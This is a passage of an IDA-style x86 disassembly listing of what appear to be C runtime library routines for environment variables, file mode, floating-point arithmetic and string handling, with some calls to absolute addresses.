; CODE XREF: sub_421D69+2Cj add eax, 0Ch cmp eax, esi jnb short loc_421D97 cmp [eax+4], edx jnz short loc_421D8B loc_421D97: ; CODE XREF: sub_421D69+16j ; sub_421D69+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43BB98h[ecx*4] cmp eax, ecx jnb short loc_421DAB cmp [eax+4], edx jz short locret_421DAD loc_421DAB: ; CODE XREF: sub_421D69+3Bj xor eax, eax locret_421DAD: ; CODE XREF: sub_421D69+40j retn sub_421D69 endp ; =============== S U B R O U T I N E ======================================= sub_421DAE proc near ; CODE XREF: sub_42094E+23p arg_0 = dword ptr 4 cmp dword_48B690, 0 push ebx push esi mov esi, dword_48A03C push edi jz short loc_421E25 test esi, esi jnz short loc_421DDF cmp dword_48A044, esi jz short loc_421E25 call sub_42217C test eax, eax jnz short loc_421E25 mov esi, dword_48A03C test esi, esi jz short loc_421E25 loc_421DDF: ; CODE XREF: sub_421DAE+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_421E25 push ebx call sub_417AB0 pop ecx mov edi, eax loc_421DF0: ; CODE XREF: sub_421DAE+6Dj mov eax, [esi] test eax, eax jz short loc_421E25 push eax call sub_417AB0 cmp eax, edi pop ecx jbe short loc_421E18 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_421E18 push edi push ebx push eax call sub_42213D add esp, 0Ch test eax, eax jz short loc_421E1D loc_421E18: ; CODE XREF: sub_421DAE+51j ; sub_421DAE+59j add esi, 4 jmp short loc_421DF0 ; --------------------------------------------------------------------------- loc_421E1D: ; CODE XREF: sub_421DAE+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_421E27 ; --------------------------------------------------------------------------- loc_421E25: ; CODE XREF: sub_421DAE+10j ; sub_421DAE+1Cj ... xor eax, eax loc_421E27: ; CODE XREF: sub_421DAE+75j pop edi pop esi pop ebx retn sub_421DAE endp ; =============== S U B R O U T I N E ======================================= sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp ; sub_4211F1+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48B440 jnb short loc_421E92 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_421E92 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421E6B and cl, 7Fh jmp short loc_421E78 ; --------------------------------------------------------------------------- loc_421E6B: ; CODE XREF: sub_421E2B+39j cmp [esp+4+arg_4], 4000h jnz short loc_421E86 or cl, 80h loc_421E78: ; CODE XREF: sub_421E2B+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_421E86: ; CODE XREF: sub_421E2B+48j mov dword_48A014, 16h jmp short loc_421E9C ; --------------------------------------------------------------------------- loc_421E92: ; CODE XREF: sub_421E2B+Bj ; sub_421E2B+27j mov dword_48A014, 9 loc_421E9C: ; CODE XREF: sub_421E2B+65j or eax, 0FFFFFFFFh pop esi retn sub_421E2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p ; sub_4220C1+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4220A1 cmp cx, 7FFFh jnb loc_4220A1 cmp dx, 0BFFDh ja loc_4220A1 cmp dx, 3FBFh ja short loc_421F0A xor eax, eax jmp short loc_421F44 ; --------------------------------------------------------------------------- loc_421F0A: ; CODE XREF: sub_421EA1+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_421F2C inc [ebp+arg_0] test [esi+8], edx jnz short loc_421F2C xor eax, eax cmp [esi+4], eax jnz short loc_421F2E cmp [esi], eax jnz short loc_421F2E jmp loc_42209B ; --------------------------------------------------------------------------- loc_421F2C: ; CODE XREF: sub_421EA1+71j ; sub_421EA1+79j xor eax, eax loc_421F2E: ; CODE XREF: sub_421EA1+80j ; sub_421EA1+84j cmp cx, ax jnz short loc_421F51 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_421F51 cmp [ebx+4], eax jnz short loc_421F51 cmp [ebx], eax jnz short loc_421F51 loc_421F44: ; CODE XREF: sub_421EA1+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4220BC ; --------------------------------------------------------------------------- loc_421F51: ; CODE XREF: sub_421EA1+90j ; sub_421EA1+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_421F61: ; CODE XREF: sub_421EA1+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_421FB5 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_421F7D: ; CODE XREF: sub_421EA1+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_421337 add esp, 0Ch test eax, eax jz short loc_421FA8 mov eax, [ebp+var_4] inc word ptr [eax] loc_421FA8: ; CODE XREF: sub_421EA1+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_421F7D loc_421FB5: ; CODE XREF: sub_421EA1+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421F61 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421FF8 loc_421FD3: ; CODE XREF: sub_421EA1+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_421FF1 lea eax, [ebp+var_24] push eax call sub_4213B6 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_421FD3 loc_421FF1: ; CODE XREF: sub_421EA1+136j cmp word ptr [ebp+arg_0], 0 jg short loc_422031 loc_421FF8: ; CODE XREF: sub_421EA1+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_422031 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_422011: ; CODE XREF: sub_421EA1+184j test byte ptr [ebp+var_24], 1 jz short loc_42201A inc [ebp+var_14] loc_42201A: ; CODE XREF: sub_421EA1+174j lea eax, [ebp+var_24] push eax call sub_4213E4 dec ebx pop ecx jnz short loc_422011 cmp [ebp+var_14], 0 jz short loc_422031 or byte ptr [ebp+var_24], 1 loc_422031: ; CODE XREF: sub_421EA1+155j ; sub_421EA1+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_422048 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42207D loc_422048: ; CODE XREF: sub_421EA1+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_42207A and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_422075 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42206F inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42206F: ; CODE XREF: sub_421EA1+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_422075: ; CODE XREF: sub_421EA1+1B5j inc [ebp+var_20+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42207A: ; CODE XREF: sub_421EA1+1ABj inc [ebp+var_24+2] loc_42207D: ; CODE XREF: sub_421EA1+1A5j ; sub_421EA1+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4220A1 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42209B: ; CODE XREF: sub_421EA1+86j mov [esi+0Ah], ax jmp short loc_4220BC ; --------------------------------------------------------------------------- loc_4220A1: ; CODE XREF: sub_421EA1+42j ; sub_421EA1+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4220BC: ; CODE XREF: sub_421EA1+ABj ; sub_421EA1+1FEj pop edi pop esi pop ebx leave retn sub_421EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p ; sub_4219A9+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43C090 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_42213A jge short loc_4220E9 mov eax, [ebp+arg_4] mov ebx, offset dword_43C1F0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4220E9: ; CODE XREF: sub_4220C1+16j cmp [ebp+arg_8], ecx jnz short loc_4220F4 mov eax, [ebp+arg_0] mov [eax], cx loc_4220F4: ; CODE XREF: sub_4220C1+2Bj cmp [ebp+arg_4], ecx jz short loc_42213A push esi push edi loc_4220FB: ; CODE XREF: sub_4220C1+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_422133 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_422126 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_422126: ; CODE XREF: sub_4220C1+57j push esi push [ebp+arg_0] call sub_421EA1 pop ecx pop ecx xor ecx, ecx loc_422133: ; CODE XREF: sub_4220C1+49j cmp [ebp+arg_4], ecx jnz short loc_4220FB pop edi pop esi loc_42213A: ; CODE XREF: sub_4220C1+14j ; sub_4220C1+36j pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep ; sub_422619+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_42214A xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42214A: ; CODE XREF: sub_42213D+7j push dword_48B444 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_48B664 call sub_4221EA add esp, 1Ch test eax, eax jnz short loc_422177 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_422177: ; CODE XREF: sub_42213D+31j add eax, 0FFFFFFFEh pop ebp retn sub_42213D endp ; =============== S U B R O U T I N E ======================================= sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep ; sub_422492+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_48A044 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4221DD mov ebx, dword_424150 loc_422195: ; CODE XREF: sub_42217C+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_4221E5 push ebp call sub_417B89 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_4221E5 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_4221E5 push edi push [esp+18h+var_4] call sub_422492 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_422195 loc_4221DD: ; CODE XREF: sub_42217C+11j xor eax, eax loc_4221DF: ; CODE XREF: sub_42217C+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4221E5: ; CODE XREF: sub_42217C+29j ; sub_42217C+38j ... or eax, 0FFFFFFFFh jmp short loc_4221DF sub_42217C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221EA proc near ; CODE XREF: sub_42213D+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424C88 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_48A300, ebx push 1 pop edi jnz short loc_42225D push edi mov eax, offset dword_4248D8 push eax push edi push eax push ebx push ebx nop call near ptr 25A0000h test eax, eax jz short loc_42223A mov dword_48A300, edi jmp short loc_42225D ; --------------------------------------------------------------------------- loc_42223A: ; CODE XREF: sub_4221EA+46j push edi mov eax, offset dword_43C824 push eax push edi push eax push ebx push ebx nop call near ptr 25A06B7h test eax, eax jz loc_422453 mov dword_48A300, 2 loc_42225D: ; CODE XREF: sub_4221EA+31j ; sub_4221EA+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_422274 push esi push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_422274: ; CODE XREF: sub_4221EA+78j cmp [ebp+arg_14], ebx jle short loc_422289 push [ebp+arg_14] push [ebp+arg_10] call sub_422467 pop ecx pop ecx mov [ebp+arg_14], eax loc_422289: ; CODE XREF: sub_4221EA+8Dj mov eax, dword_48A300 cmp eax, 2 jnz short loc_4222AE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25A06B7h jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_4221EA+A7j cmp eax, edi jnz loc_422453 cmp [ebp+arg_18], ebx jnz short loc_4222C3 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_4222C3: ; CODE XREF: sub_4221EA+CFj cmp esi, ebx jz short loc_4222D0 cmp [ebp+arg_14], ebx jnz loc_422368 loc_4222D0: ; CODE XREF: sub_4221EA+DBj cmp esi, [ebp+arg_14] jnz short loc_4222DD loc_4222D5: ; CODE XREF: sub_4221EA+13Cj ; sub_4221EA+16Dj push 2 loc_4222D7: ; CODE XREF: sub_4221EA+146j pop eax jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222DD: ; CODE XREF: sub_4221EA+E9j cmp [ebp+arg_14], edi jle short loc_4222E9 loc_4222E2: ; CODE XREF: sub_4221EA+151j ; sub_4221EA+159j ... mov eax, edi jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_4221EA+F6j cmp esi, edi jg short loc_42232E lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 286128Eh nop test eax, eax jz loc_422453 cmp esi, ebx jle short loc_422332 cmp [ebp+var_3C], 2 jb short loc_42232E lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42232E loc_422314: ; CODE XREF: sub_4221EA+142j mov dl, [eax+1] cmp dl, bl jz short loc_42232E mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_422328 cmp cl, dl jbe short loc_4222D5 loc_422328: ; CODE XREF: sub_4221EA+138j inc eax inc eax cmp [eax], bl jnz short loc_422314 loc_42232E: ; CODE XREF: sub_4221EA+101j ; sub_4221EA+120j ... push 3 jmp short loc_4222D7 ; --------------------------------------------------------------------------- loc_422332: ; CODE XREF: sub_4221EA+11Aj cmp [ebp+arg_14], ebx jle short loc_422368 cmp [ebp+var_3C], 2 jb short loc_4222E2 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4222E2 loc_422345: ; CODE XREF: sub_4221EA+177j mov dl, [eax+1] cmp dl, bl jz short loc_4222E2 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42235D cmp cl, dl jbe loc_4222D5 loc_42235D: ; CODE XREF: sub_4221EA+169j inc eax inc eax cmp [eax], bl jnz short loc_422345 jmp loc_4222E2 ; --------------------------------------------------------------------------- loc_422368: ; CODE XREF: sub_4221EA+E0j ; sub_4221EA+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2620000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_422453 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4223B7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4223B7: ; CODE XREF: sub_4221EA+1B5j cmp [ebp+var_24], ebx jz loc_422453 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_424070 call esi test eax, eax jz short loc_422453 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_422453 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_422422 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_422422: ; CODE XREF: sub_4221EA+224j cmp edi, ebx jz short loc_422453 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call near ptr 2620000h nop test eax, eax jz short loc_422453 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25A0000h jmp short loc_422455 ; --------------------------------------------------------------------------- loc_422453: ; CODE XREF: sub_4221EA+63j ; sub_4221EA+C6j ... xor eax, eax loc_422455: ; CODE XREF: sub_4221EA+BFj ; sub_4221EA+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221EA endp ; =============== S U B R O U T I N E ======================================= sub_422467 proc near ; CODE XREF: sub_41E709+81p ; sub_4221EA+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422484 loc_422477: ; CODE XREF: sub_422467+1Bj cmp byte ptr [eax], 0 jz short loc_422484 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422477 loc_422484: ; CODE XREF: sub_422467+Ej ; sub_422467+13j cmp byte ptr [eax], 0 pop esi jnz short loc_42248F sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_42248F: ; CODE XREF: sub_422467+21j mov eax, edx retn sub_422467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422492 proc near ; CODE XREF: sub_42217C+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4224F6 push 3Dh push [ebp+arg_0] call sub_4226D8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4224F6 cmp [ebp+arg_0], esi jz short loc_4224F6 mov eax, dword_48A03C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_48A040 jnz short loc_4224DC push eax call sub_422671 pop ecx mov dword_48A03C, eax loc_4224DC: ; CODE XREF: sub_422492+3Cj cmp eax, edi jnz short loc_422534 cmp [ebp+arg_4], edi jz short loc_4224FE cmp dword_48A044, edi jz short loc_4224FE call sub_42217C test eax, eax jz short loc_422534 loc_4224F6: ; CODE XREF: sub_422492+Dj ; sub_422492+22j ... or eax, 0FFFFFFFFh loc_4224F9: ; CODE XREF: sub_422492+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4224FE: ; CODE XREF: sub_422492+51j ; sub_422492+59j cmp ebx, edi jnz loc_422612 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_48A03C, eax jz short loc_4224F6 mov [eax], edi cmp dword_48A044, edi jnz short loc_422534 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_48A044, eax jz short loc_4224F6 mov [eax], edi loc_422534: ; CODE XREF: sub_422492+4Cj ; sub_422492+62j ... sub esi, [ebp+arg_0] mov edi, dword_48A03C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_422619 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_422594 cmp dword ptr [edi], 0 jz short loc_422594 test ebx, ebx jz short loc_42258C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_417C3B pop ecx loc_422566: ; CODE XREF: sub_422492+E2j cmp dword ptr [edi], 0 jz short loc_422576 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_422566 ; --------------------------------------------------------------------------- loc_422576: ; CODE XREF: sub_422492+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41944F pop ecx test eax, eax pop ecx jz short loc_4225C6 jmp short loc_4225C1 ; --------------------------------------------------------------------------- loc_42258C: ; CODE XREF: sub_422492+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4225C6 ; --------------------------------------------------------------------------- loc_422594: ; CODE XREF: sub_422492+BDj ; sub_422492+C2j test ebx, ebx jnz short loc_422612 test esi, esi jge short loc_42259E neg esi loc_42259E: ; CODE XREF: sub_422492+108j lea eax, ds:8[esi*4] push eax push edi call sub_41944F pop ecx test eax, eax pop ecx jz loc_4224F6 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4225C1: ; CODE XREF: sub_422492+F8j mov dword_48A03C, eax loc_4225C6: ; CODE XREF: sub_422492+F6j ; sub_422492+100j cmp [ebp+arg_4], 0 jz short loc_422612 push [ebp+arg_0] call sub_417AB0 inc eax inc eax push eax call sub_417B89 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_422612 push [ebp+arg_0] push esi call sub_4179C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 2590199h push esi call sub_417C3B pop ecx loc_422612: ; CODE XREF: sub_422492+6Ej ; sub_422492+104j ... xor eax, eax jmp loc_4224F9 sub_422492 endp ; =============== S U B R O U T I N E ======================================= sub_422619 proc near ; CODE XREF: sub_422492+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_48A03C push edi mov eax, [esi] test eax, eax jz short loc_422654 mov edi, [esp+8+arg_4] loc_42262B: ; CODE XREF: sub_422619+39j push edi push eax push [esp+10h+arg_0] call sub_42213D add esp, 0Ch test eax, eax jnz short loc_42264A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_422664 test al, al jz short loc_422664 loc_42264A: ; CODE XREF: sub_422619+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42262B loc_422654: ; CODE XREF: sub_422619+Cj mov eax, esi sub eax, dword_48A03C sar eax, 2 neg eax loc_422661: ; CODE XREF: sub_422619+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_422664: ; CODE XREF: sub_422619+2Bj ; sub_422619+2Fj mov eax, esi sub eax, dword_48A03C sar eax, 2 jmp short loc_422661 sub_422619 endp ; =============== S U B R O U T I N E ======================================= sub_422671 proc near ; CODE XREF: sub_422492+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_422680 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_422680: ; CODE XREF: sub_422671+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_422692 loc_422688: ; CODE XREF: sub_422671+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_422688 loc_422692: ; CODE XREF: sub_422671+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_417B89 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4226B3 push 9 call sub_419CDA pop ecx loc_4226B3: ; CODE XREF: sub_422671+38j mov eax, [edi] mov ebx, edi loc_4226B7: ; CODE XREF: sub_422671+5Bj test eax, eax jz short loc_4226CE push eax add ebx, 4 call sub_42274B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4226B7 ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_422671+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_422671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226D8 proc near ; CODE XREF: sub_422492+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_48B45C, 0 jnz short loc_4226F3 push [ebp+arg_4] push [ebp+arg_0] call sub_418F50 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4226F3: ; CODE XREF: sub_4226D8+Aj mov ecx, [ebp+arg_0] loc_4226F6: ; CODE XREF: sub_4226D8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_422739 movzx edx, al test byte_48B561[edx], 4 jz short loc_422725 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_422730 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_422734 jmp short loc_42272D ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_4226D8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_422739 loc_42272D: ; CODE XREF: sub_4226D8+4Bj inc ecx jmp short loc_4226F6 ; --------------------------------------------------------------------------- loc_422730: ; CODE XREF: sub_4226D8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_422734: ; CODE XREF: sub_4226D8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_422739: ; CODE XREF: sub_4226D8+25j ; sub_4226D8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4226D8 endp ; =============== S U B R O U T I N E ======================================= sub_42274B proc near ; CODE XREF: sub_40A7D7+21p ; sub_422671+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_422772 push esi call sub_417AB0 inc eax push eax call sub_417B89 pop ecx test eax, eax pop ecx jz short loc_422772 push esi push eax call sub_4179C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_422772: ; CODE XREF: sub_42274B+7j ; sub_42274B+1Aj xor eax, eax pop esi retn sub_42274B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422780 proc near ; CODE XREF: sub_422863+19p ; sub_42298A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_417AB0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_4046A3 mov eax, esi pop esi retn 8 sub_422780 endp ; =============== S U B R O U T I N E ======================================= sub_4227AA proc near ; CODE XREF: ___:004227D5p ; sub_422858+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_404667 mov ecx, esi pop esi jmp sub_422BA6 sub_4227AA endp ; =============== S U B R O U T I N E ======================================= sub_4227C5 proc near ; DATA XREF: ___:00424CA8o ; ___:00424CB8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4227D1 mov eax, offset dword_424290 locret_4227D1: ; CODE XREF: sub_4227C5+5j retn sub_4227C5 endp ; --------------------------------------------------------------------------- loc_4227D2: ; DATA XREF: ___:off_424CA4o push esi mov esi, ecx call sub_4227AA test byte ptr [esp+8], 1 jz short loc_4227E8 push esi call sub_4182AF pop ecx loc_4227E8: ; CODE XREF: ___:004227DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4227EE proc near ; CODE XREF: sub_422863+29p mov eax, offset loc_423122 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, 